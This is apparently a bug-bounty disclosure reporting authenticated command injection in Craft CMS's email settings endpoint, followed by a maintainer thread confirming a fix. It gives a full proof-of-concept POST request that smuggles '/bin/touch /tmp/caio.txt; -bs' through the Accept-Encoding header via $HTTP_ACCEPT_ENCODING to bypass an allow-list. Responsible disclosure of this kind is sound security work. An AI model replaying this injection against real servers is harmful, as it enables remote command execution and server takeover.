Authenticated RCE through /admin/settings/email endpoint in craftcms/cms

Valid

Reported on

May 7th 2022


Description

Craftcms is vulnerable to Command Injection on the email settings, on the /admin/settings/email endpoint. An attacker can send a POST request with a specially crafted transportTypes[craft\mail\transportadapters\Sendmail][command]= parameter to inject arbitrary commands that will be executed by the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Proof of Concept

  1. As an authenticated user, send the following POST request :
POST /admin/settings/email HTTP/1.1
Host: tutorial.nitro
Content-Length: 1567
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://tutorial.nitro
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://tutorial.nitro/admin/settings/email
Accept-Encoding: /bin/touch /tmp/caio.txt; -bs
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: CraftSessionId=a9c4d48f469aeafb0104ae0764ab2ced; 1031b8c41dfff97a311a7ac99863bdc5_identity=44097a28c77a8e9b50bf5a3961405a423a803d86736130a4238217a4a6fd9208a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_identity%22%3Bi%3A1%3Bs%3A159%3A%22%5B1%2C%22%5B%5C%229RBgto_5gOySUsNpsV3PFZ9zyT1Ulw_4QgDHBHSsNkftGaxKV3eQpZCfy1_Lf4tywuYQeJ6jxjNPIv3mP-KKwfRy7ERG_oqTRv_-%5C%22%2Cnull%2C%5C%22727ad4f7864c7014a50b399443285ac1%5C%22%5D%22%2C3600%5D%22%3B%7D; CRAFT_CSRF_TOKEN=7b630e55d438c66036fd34b88848d375b3b4df81000e394ccc9e9b7856f979e6a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C899f57f7a62d2d6a628a1ff63d0464143fc1900e4b3a75fc509cc9ff79344fc9XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C1%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_username=85a1d514f8cd30fd480bbc5a47bbd795f4a09c14e02d5831744def469bca384ea%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D
Connection: close

CRAFT_CSRF_TOKEN=xxx&action=system-settings%2Fsave-email-settings&
redirect=61397312e1a8395a0eee0b2326b3ca7166610066e62b4322d1747aaa889b1270settings&fromEmail=g3ol4d0%40gmail.com&
replyToEmail=&fromName=test&transportType=craft%5Cmail%5Ctransportadapters%5CSendmail&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSendmail%5D%5Bcommand%5D=%24HTTP_ACCEPT_ENCODING&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bhost%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bport%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BuseAuthentication%5D=1&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BencryptionMethod%5D=none&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Btimeout%5D=10&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Btimeout%5D=10&action=system-settings%2Ftest-email-settings

The transportTypes[craft\mail\transportadapters\Sendmail][command]= parameter was set to $HTTP_ACCEPT_ENCODING, this is necessary to bypass the _allowedCommands() function on htdocs/vendor/craftcms/cms/src/mail/transportadapters/Sendmail.php.

private function _allowedCommands(): array
    {
        // Grab the current value from the project config rather than $this->command, so we don't risk
        // polluting the allowed commands with a tampered value that came from the post data
        $command = Craft::$app->getProjectConfig()->get('email.transportSettings.command');

        return array_unique(array_filter([
            !str_starts_with($command, '$') ? $command : null,
            self::DEFAULT_COMMAND,
            ini_get('sendmail_path'),
        ]));
    }

The function fails to proper check if the command should be accept because an attacker can use the $HTTP_ env variables to bypass the check.

The command is than inserted on the Accept-Encoding: /bin/touch /tmp/caio.txt; -bs header (or any other). It's also necessary to pass an -bs string to the command because of the /htdocs/vendor/symfony/mailer/Transport/SendmailTransport.php

if (null !== $command) {
            if (!str_contains($command, ' -bs') && !str_contains($command, ' -t')) {
                throw new \InvalidArgumentException(sprintf('Unsupported sendmail command flags "%s"; must be one of "-bs" or "-t" but can include additional flags.', $command));

With that we can execute arbitrary command on the server.

$ ls -lhrat /tmp/
[...]
-rw-r--r--    1 www-data www-data       0 May  7 18:56 caio.txt
drwxrwxrwt    1 root     root        4.0K May  7 18:56 .

Impact

An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Occurrences

I think _allowedCommands should be fixed to have the env vars on mind.

We are processing your report and will contact the craftcms/cms team within 24 hours. 2 months ago
We have contacted a member of the craftcms/cms team and are waiting to hear back 2 months ago
We have sent a follow up to the craftcms/cms team. We will try again in 7 days. a month ago
Caio L├╝ders
a month ago

Researcher


Hi @admin , we have any updates about this ? I saw that the maintainer has opted out ...

Jamie Slome
a month ago

Admin


@caioluders - we have reached out to the maintainer manually, as they have asked for their repository to be opted out of the platform.

I will keep you updated on the status of their response ­čĹŹ

Pavlos modified the Severity from Critical (9.1) to High (7.5) 9 days ago
Pavlos modified the Severity from High (7.5) to Critical (9.1) 9 days ago
Pavlos
9 days ago

Admin


sorry didn't mean to do that

A craftcms/cms maintainer modified the Severity from Critical (9.1) to High (7.5) 9 days ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
A craftcms/cms maintainer validated this vulnerability 9 days ago

Technically an issue, I suppose, but pretty edge-case.

You'd need to:

ÔÇó Have an authenticated control panel session. ÔÇó Be an administrator ÔÇó Be able to alter project config files on the filesystem, which we recommend against by telling people to set allowAdminChanges to false in production environments: https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Regardless, the sendmail command now excludes any environment variables that are prefixed with HTTP_ and any fields that support parsing environment variables now exclude variables that begin with $HTTP as an autocompleted suggestion.

Caio L├╝ders has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
A craftcms/cms maintainer confirmed that a fix has been merged on 87aef7 9 days ago
The fix bounty has been dropped
Sendmail.php#L125 has been validated
to join this conversation